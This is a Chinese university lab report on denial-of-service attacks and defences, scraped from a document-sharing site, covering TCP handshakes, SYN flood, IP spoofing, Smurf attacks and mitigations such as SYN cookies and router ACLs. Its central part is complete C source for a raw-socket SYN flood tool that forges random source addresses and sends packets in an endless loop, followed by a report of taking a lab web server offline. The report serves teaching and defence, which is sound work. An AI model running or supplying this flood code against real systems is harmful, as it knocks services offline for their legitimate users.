




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
貴州大學實驗報告學院:計算機科學與技術學院專業:信息平安班級:姓名學號實驗組實驗時間指導教師蔣朝惠成績實驗工程名稱實驗十拒絕效勞攻擊與防范實驗目的拒絕效勞〔DoS〕攻擊與防范通過本實驗的學習,使大家了解拒絕效勞攻擊的原理以及相應的防范方法。通過一個SYNFlood的拒絕效勞程序,使大家加強對Dos攻擊的理解。分布式效勞〔DDoS〕攻擊與防范通過本實驗的學習,使大家了解分布式拒絕效勞(DDoS)攻擊的原理以及相應的防范方法。實驗要求通過實驗,理解和掌握DoS和DDoS的攻擊原理以及相應的防范方法實驗原理拒絕效勞〔DoS〕攻擊與防范TCP協議介紹傳輸控制協議是用來在不可靠的Internet上提供可靠的、端到端的字節流通信協議,在FRC793中有正式定義,還有一些解決錯誤的方案在RFC1122中有記錄,RFC1323那么有TCP的功能擴展。常見到的TCP/IP協議中,IP層不保證將數據報正確傳輸到目的地TCP那么從本地機器接收用戶的數據流,將其分成不超過64KB的數據字段,將每個數據片段作為單獨的IP數據包發送出去,最后在目的地機器中將其再組合成完整的字節流,TCP協議必須保證可靠性。發送方和接收方的TCP傳輸以數據段的形式交換數據,i一個數據段包括固定20字節,加上可選局部,后面再加上數據。TCP協議從發送方傳輸一個數據耳朵時候,其中有一個確認號,它等于希望收到的下一個數據段的序號,接收方還要發送回一個數據段,其中有一個確認號,它等于希望收到的下一個數據段的順序號。如果計時器在確認信息到達以前超時了,發送方會重新發送這個數據段。從上面的內容可以在總體上了解一點TCP,重要的是熟悉TCP的數據頭。因為數據流的傳輸最重要的就是header里面的東西,至于發送的數據,只是TCP數據頭附帶上的、客戶端和效勞器端的效勞響應就是痛header里面的數據有關,兩端信息交流和交換是根據header中內容實施的,因此,要了解DoS攻擊原理,就必須對TCP的header中的內容非常熟悉。有關TCP數據段頭格式參見7.1.3節內容。TCP連接采用“3次握手〞,其原理步驟如下所述。在沒有連接時,接受方效勞器處于監聽狀態,等待其它機器發送連接請求。第一步,客戶端發送一個帶SYN位的請求,向效勞器表示需要連接。第二步,效勞器接收到這樣的請求后,查看監聽的端口是否為指定端口,如果不是,那么發送RST=1應答,拒絕建立連接。如果是,那么效勞器發送確認,SYN為效勞器的一個內碼,假設為100,ACK位那么為客戶端的請求序號加1,本例中發送的數據是:SYN=11,ACK=100,用這樣的數據發送給客戶端。向客戶端標明,效勞器連接已準備好,等待客戶端確實認。這時客戶端接收到信息后,分析得到的信息,準備發送確認連接信號到效勞器。第三步,客戶端發送確認信息建立連接的消息給效勞器端,確認信息的SYN位是效勞器發送的ACK位,ACK位是效勞器發送的SYN位加1.級:SYN=11,ACK=101。這時,連接已經建立好了,可以進行發送數據的過程。效勞器不會在每次接收到SYN請求就立刻恢復客戶端建立連接,而是為連接請求分配內存空間,建立會話,并放到一個隊列中。如果等待隊列已經滿了,那么效勞器就不會再為新的連接分配資源,直接丟棄請求。如果到了這種地步,那么效勞器就是拒絕效勞了。拒絕效勞〔DoS〕攻擊〔1〕DoS的根本概念DoS的英文全稱是denialofservice,也就是“拒絕效勞〞的意思。從網絡攻擊的各種方法和所產生的破壞情況來看,DOS算是一種很簡單但又很有效的攻擊方式。它的目的就是拒絕效勞訪問,破壞效勞程序正常運行,最終它會使局部Internet連接和網絡系統失效。DoS的攻擊方式有很多種,最根本的DoS攻擊就是利用合理的效勞請求來占用過多的資源,從而使合法用戶無法得到效勞。DoS攻擊的根本過程是:攻擊者向效勞器發送眾多的帶有虛假地址請求,效勞器發送回復請求后等待回傳信息,由于地址是偽造的,所以效勞器一直等不到回傳的消息,分配給這次請求的資源就始終沒被釋放。當效勞器等待一段時間后,連接會因超時而唄切斷,攻擊者會再傳送一批新的請求,在這種反復發送偽地址請求的情況下,效勞器資源會最終被耗盡。被DOS攻擊事的現象大致有:①被攻擊主機上有大量等待的TCP連接。②被攻擊主機的系統資源被大量占用,造成系統停頓。③網絡充滿著大量無用的數據包,源地址為偽造地址。④大量無用數據使得網絡擁塞,受害主機無法與外界進行通信。⑤利用受害主機提供的效勞或傳輸協議上的缺陷,反復高速地發送特定的效勞請求,使受害主機無法及時處理所有正常請求,嚴重時會造成系統崩潰。〔2〕拒絕效勞攻擊的根本方法要對效勞器實現拒絕效勞攻擊,實質上有兩種方式:一是迫使效勞器的緩沖區滿,不接受新的請求;二是使用IP欺騙,迫使效勞器把合法的連接復位,影響合法用戶的連接。這就是DoS攻擊實施的根本思想。具體實現有一下幾種方法:①SNYFlood。編寫發包程序,設置TCP的Header,向效勞器端不斷成倍地發送只有SYN標志的TCP請求。當效勞器接收的時候,都認為是沒有建立起來的連接請求,于是為這些請求建立會話,排到緩沖隊列中。如果SYN請求超過了效勞器能容納的限度,緩沖區隊列占滿,那么效勞器就不再接收新請求了,其他合法用戶的連接都被拒絕掉。②IP欺騙DoS攻擊。這種攻擊利用RST位來實現。假設現在只有有一個合法用戶〔〕已經同效勞器建立了正常的連接,攻擊者構造攻擊的TCP數據,偽裝自己的IP為,并向效勞器發送一個帶有RST位的TCP數據段。效勞器接收到這樣的數據后。認為從發送的連接錯誤,就會清空緩沖區中建好的連接。這時。如果合法用戶再發送合法數據;效勞器就已經沒有這樣的連接了,該用戶就必須重新開始建立連接。使用這種攻擊方式時,需要偽造大量的IP地址,向目標發送RST數據,可以使效勞器不對合法用戶效勞。③Smurf。播送信息可以通過一定的手段發送到整個網絡機器中。當某臺機器使用播送地址發送一個ICMPecho請求包時,一些系統會回應一個ICMPecho回應包。④自身消耗的DoS攻擊。這種DoS攻擊就是把請求數據包中的客戶端IP和端口設置成主機自己IP和端口,再發送給主機,使得主機給自己發送TCP相應和連接。這樣,主機就會很快把資源耗光,直接導致死機。這種偽裝攻擊對一些身份認證系統威脅巨大。⑤塞滿效勞器的硬盤。通常,如果效勞器可以沒有限制地執行寫操作;那么通過一些手段就可以造成硬盤被寫滿,從而拒絕效勞;比方發送垃圾郵件。⑥合理利用策略。一般效勞器都有關于賬戶鎖定的平安策略,比方某個賬戶連續3次登陸失敗,那么這個賬號將被鎖定。這點也可以被破壞者利用,他們偽裝一個賬號去錯誤登陸,這樣使得這個賬號被鎖定,而正常的合法用戶就不能使用賬號去登陸系統了。〔3〕拒絕效勞攻擊的防范到目前為止,防范DoS特別是DDoS攻擊仍比擬困難。但仍然可以采取一些措施以降低其產生的危害。對中小型網站來說,可以從以下幾個方面進行防范:①主機設置。即加固操作系統,對各操作系統參數進行設置以加強系統穩固性。重新編譯或設置Linux以及操作各種BSD系統、Solaris等操作系統內核中某些參數,可在一定程度上提高系統的抗攻擊能力。例如,對于DoS攻擊的典型種類——SYNFlood,它利用TCP/IP漏洞發送大量偽造的TCP連接請求,以造成網絡無法連接用戶效勞或使操作系統癱瘓。該攻擊過程涉及系統的一下參數:可等待的數據包的鏈接數和超時等待數據包的時間長度。因此,那么進行如下設置:●關閉不必要的效勞。●將數據包的鏈接數從默認值128或512改為2048或更大,以家常每次處理數據包隊列的長度;以緩解和消化更多數據包的連接。●將連接超時時間設置得較短,以保證正常數據包的連接,屏蔽非法攻擊包。●及時更新系統、安裝補丁。②防火墻設置。仍以SYNFlood為例,可以在在防火墻上進行如下設置:●禁止對主機非開放效勞的訪問。●限制同時翻開的數據包最大連接數。●限制特定IP地址的訪問。●啟用防火墻的防DDoS的屬性。●嚴格限制對外開放效勞器的向外訪問,以防止自己效勞器被當作工具攻擊他人。●RandomDrop算法。當流量到達一定閥值時,按照算法規那么丟棄后續報文,以保持主機的處理能力。其缺乏是會誤丟正常的數據包,特別是在大流量數據包的攻擊下,正常數據包容易隨非法數據包被拒之網外。●SYNCookie算法。采用“六次握手〞技術以降低受攻擊率。其缺乏是依據列表查詢,當數據流量增大時,列表急劇膨脹,計算量隨之提升,容易造成響應延遲乃至系統癱瘓。③路由器設置。以CISCO路由器為例,可采取如下方法。●CiscoExpressForwarding(CEF)。●使用Unicasatreverse-path。●訪問控制列表〔ACL〕過濾。●設置數據流量速率。●升級版本過低的IOS。●為路由器建立logserver。不管防火墻還是路由器都是到外界的接口設備,在進行防DDoS設置的同時,要權衡可能犧牲的正常業務代價,謹慎行事。④利用負載均衡技術。就是把應用業務分部到幾臺不同的效勞器上。采用循環DNS效勞或者硬件路由器技術,將進入系統的請求分流到多臺效勞器上。這種方法要求投資較大,相應的維護費也高,中型網站如果有條件可以考慮。以上方法對流量小、正對性強、結構簡單的DoS攻擊進行防范還是很有效的。而對于DDoS攻擊,那么需要能夠應付大流量的防范措施和技術,需要能夠綜合多種算法、集多種網絡設備功能的集成技術。分布式效勞〔DDoS〕攻擊與防范DDoS的根本概念分布式拒絕效勞攻擊時借助于客戶——效勞器技術,將多個計算機聯合起來作為攻擊平臺,對一個活活在多個目標發動攻擊,使成倍的增加攻擊能力。DDoS的攻擊原理Smurf與Fraggle將一個目的地址設置成播送地址后,它就會被網絡中的所有主機接收并處理。其中Smurf是用播送地址發送ICMPECHO包,而Fraggle是用播送地址發送UDP包。trinoo是復雜的DDoS攻擊程序,它使用主控程序master對實際實施攻擊的任何數量的“代理〞程序實現自動控制。TFN2K是一個使用master程序與位于多個網絡上的哦國內國際代理進行通信。Stacheldraht也是基于TFN的,采用C/S模式,其中master程序與潛在的成千上萬個代理程序進行通信。DDoS系統的一般結構在更一般的情況下,DDoS可能使用多臺控制機,形成一個攻擊結構。DDoS的監測根據異常情況分析使用DDoS檢測工具DDoS攻擊的防御策略實驗儀器拒絕效勞〔DoS〕攻擊與防范安裝有Windows操作系統的PC,編輯工具可選用VC++6.0。由hub或交換機組成的有假設干臺PC局域網。分布式效勞〔DDoS〕攻擊與防范Windowsserver2003,風云壓力測試DDoS軟件,冰盾防火墻實驗步驟、內容、數據拒絕效勞〔DoS〕攻擊與防范在一個局域網環境中,根據實驗內容中提供的DoS程序,編寫一個SYNFlood拒絕效勞程序。使用自己編寫的DoS程序攻擊實驗室的一臺實驗主機,在實驗主機上安裝一個網絡監聽工具〔如tcpdump等〕,觀測DoS攻擊效果。交自己編輯的SYNFlood拒絕效勞攻擊程序猿代碼,并對代碼中的關鍵步驟添加注釋,通過網絡監聽工具觀測攻擊效果,并對實驗結果進行分析。SYNFlood程序如下:#include<stdio.h>#include<winsock2.h>#include<ws2tcpip.h>#include<windows.h>#include<time.h>#include<dos.h>#pragmacomment(lib,"ws2_32.lib")#defineMAX_RECEIVEBYTE255typedefstructip_head//定義IP首部{unsignedcharh_verlen;//4位首部長度,4位IP版本號unsignedchartos;//8位效勞類型TOSunsignedshorttotal_len;//16位總長度〔字節〕unsignedshortident;//16位標識unsignedshortfrag_and_flags;//3位標志位〔如SYN,ACK,等〕unsignedcharttl;//8位生存時間TTLunsignedcharproto;//8位協議(如ICMP,TCP等)unsignedshortchecksum;//16位IP首部校驗和unsignedintsourceIP;//32位源IP地址unsignedintdestIP;//32位目的IP地址}IPHEADER;typedefstructtcp_head//定義TCP首部{USHORTth_sport;//16位源端口USHORTth_dport;//16位目的端口unsignedintth_seq;//32位序列號unsignedintth_ack;//32位確認號unsignedcharth_lenres;//4位首部長度/6位保存字unsignedcharth_flag;//6位標志位USHORTth_win;//16位窗口大小USHORTth_sum;//16位校驗和USHORTth_urp;//16位緊急數據偏移量}TCPHEADER;typedefstructtsd_head//定義TCP偽首部{unsignedlongsaddr;//源地址unsignedlongdaddr;//目的地址charmbz;charptcl;//協議類型unsignedshorttcpl;//TCP長度}PSDHEADER;//CheckSum:計算校驗和的子函數USHORTchecksum(USHORT*buffer,intsize){unsignedlongcksum=0;while(size>1){cksum+=*buffer++;size-=sizeof(USHORT);}if(size){cksum+=*(UCHAR*)buffer;}cksum=(cksum>>16)+(cksum&0xffff);cksum+=(cksum>>16);return(USHORT)(~cksum);}voidusage(){printf("***********************************************************");printf("SYN_FLOODMADEBYLionD8");printf("Useage:FLOODTarget_ipTarget_portDelay_time");printf("***********************************************************");}//Delay_time單位為毫秒。intmain(intargc,char*argv[]){WSADATAWSAData;SOCKETsock;SOCKADDR_INaddr_in;IPHEADERipHeader;TCPHEADERtcpHeader;PSDHEADERpsdHeader;intSourcePort;charszSendBuf[60]={0};BOOLflag;intrect,nTimeOver;intsleeptime;usage();if(argc<3||argc>4){printf("inputerror!");returnfalse;}if(argc==4)sleeptime=atoi(argv[3]);elsesleeptime=300;if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0){printf("WSAStartupError!");returnfalse;}sock=NULL;if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET){printf("SocketSetupError!");returnfalse;}flag=true;if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR){printf("setsockoptIP_HDRINCLerror!");returnfalse;}nTimeOver=1000;if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&nTimeOver,sizeof(nTimeOver))==SOCKET_ERROR)//設置發送的時間{printf("setsockoptSO_SNDTIMEOerror!");returnfalse;}addr_in.sin_family=AF_INET;addr_in.sin_port=htons(atoi(argv[2]));addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);while(TRUE){//填充IP首部ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsignedlong));ipHeader.tos=0;ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));//IP總長度ipHeader.ident=1;ipHeader.frag_and_flags=0;//無分片ipHeader.ttl=(unsignedchar)GetTickCount()%87+123;ipHto=IPPROTO_TCP;//協議類型為TCPipHeader.checksum=0;//效驗位先初始為0ipHeader.sourceIP=htonl(GetTickCount()*474695);//隨機產生一個偽造的IPipHeader.destIP=inet_addr(argv[1]);//目標IP//填充TCP首部SourcePort=GetTickCount()*43557%9898;//隨機產生一個端口號tcpHeader.th_dport=htons(atoi(argv[2]));//發送的目的端口tcpHeader.th_sport=htons(SourcePort);//源端口號tcpHeader.th_seq=htonl(0x12345678);//序列號tcpHeader.th_ack=0;//確認號tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);tcpHeader.th_flag=2;//為SYN請求tcpHeader.th_win=htons(512);tcpHeader.th_urp=0;tcpHeader.th_sum=0;//填充TCP偽首部用來計算TCP頭部的效驗和psdHeader.saddr=ipHeader.sourceIP;psdHeader.daddr=ipHeader.destIP;psdHeader.mbz=0;psdHeader.ptcl=IPPROTO_TCP;psdHeader.tcpl=htons(sizeof(tcpHeader));//計算校驗和memcpy(szSendBuf,&psdHeader,sizeof(psdHeader));memcpy(szSendBuf+sizeof(psdHeader),&tcpHeader,sizeof(tcpHeader));tcpHeader.th_sum=checksum((USHORT*)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));//把偽造好的IP頭和TCP頭放進buf準備發送memcpy(szSendBuf,&ipHeader,sizeof(ipHeader));memcpy(szSendBuf+sizeof(ipHeader),&tcpHeader,sizeof(tcpHeader));//發送數據包rect=sendto(sock,szSendBuf,sizeof(ipHeader)+sizeof(tcpHeader),0,(structsockaddr*)&addr_in,sizeof(addr_in));if(rect==SOCKET_ERROR){printf("senderror!:%x",WSAGetLastError());returnfalse;}elseprintf("sendok!");Sleep(sleeptime);//根據自己網速的快慢確定此值,sleeptime越小發得越快}//endwhile//重新偽造IP的源地址等再次向目標發送closesocket(sock);WSACleanup();return0;}運行代碼得到如下可執行文件:攻擊之前,將一臺web效勞器的效勞端口改為1234,如下:訪問上面的web效勞器如下:DoS攻擊:最后一個參數60,表示每60ms發送一次,回車后:每60ms顯示一個sendok!表示發送成功。DoS攻擊之后,訪問之前的web效勞器,出現如下情況:說明DOS攻擊成功!分布式效勞〔DDoS〕攻擊與防范C1〔攻擊者〕上安裝DDoS客戶端程序,C2—C6〔傀儡機〕上安裝DDoS效勞器端,
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 照明設備能效評估與改進措施考核試卷
- 生命體征測量技術 2
- 二年級奧數-二年級測試(二)A卷-帶答案
- 江西省上饒市藍天教育集團2023-2024學年高一下學期期中考試數學試題【含答案】
- 威海職業學院《計算機輔助翻譯》2023-2024學年第一學期期末試卷
- 吉林省長春新區重點達標名校2025年初三下學期第四次階段檢測試題生物試題含解析
- 上海市寶山區通河中學2025年高三下學期期初自測語文試題含解析
- 上饒師范學院《人體解剖生理學(生理)》2023-2024學年第二學期期末試卷
- 武漢工商學院《城市道路與交通》2023-2024學年第二學期期末試卷
- 攀枝花攀西職業學院《方案快速設計與表現實驗》2023-2024學年第一學期期末試卷
- 咯血-護理查房課件
- 安全用電-觸電與急救課件
- 初三任務型閱讀公開課一等獎省優質課大賽獲獎課件
- 公司組織架構圖(可編輯模版)
- 激光跟蹤儀使用手冊
- 貨物采購服務方案
- 初中英語 滬教牛津版 8B U6-1 Reading Head to head 課件
- DB11-T 1322.64-2019 安全生產等級評定技術規范 第64部分:城鎮供水廠
- 部編版小學五年級下冊語文說明科普類10篇閱讀試題(帶答案)
- 復變函數與積分變換第三章復變函數的積分
- (完整word版)西南財經大學管理學考博真題考點匯總和復習框架總結,推薦文檔
評論
0/150
提交評論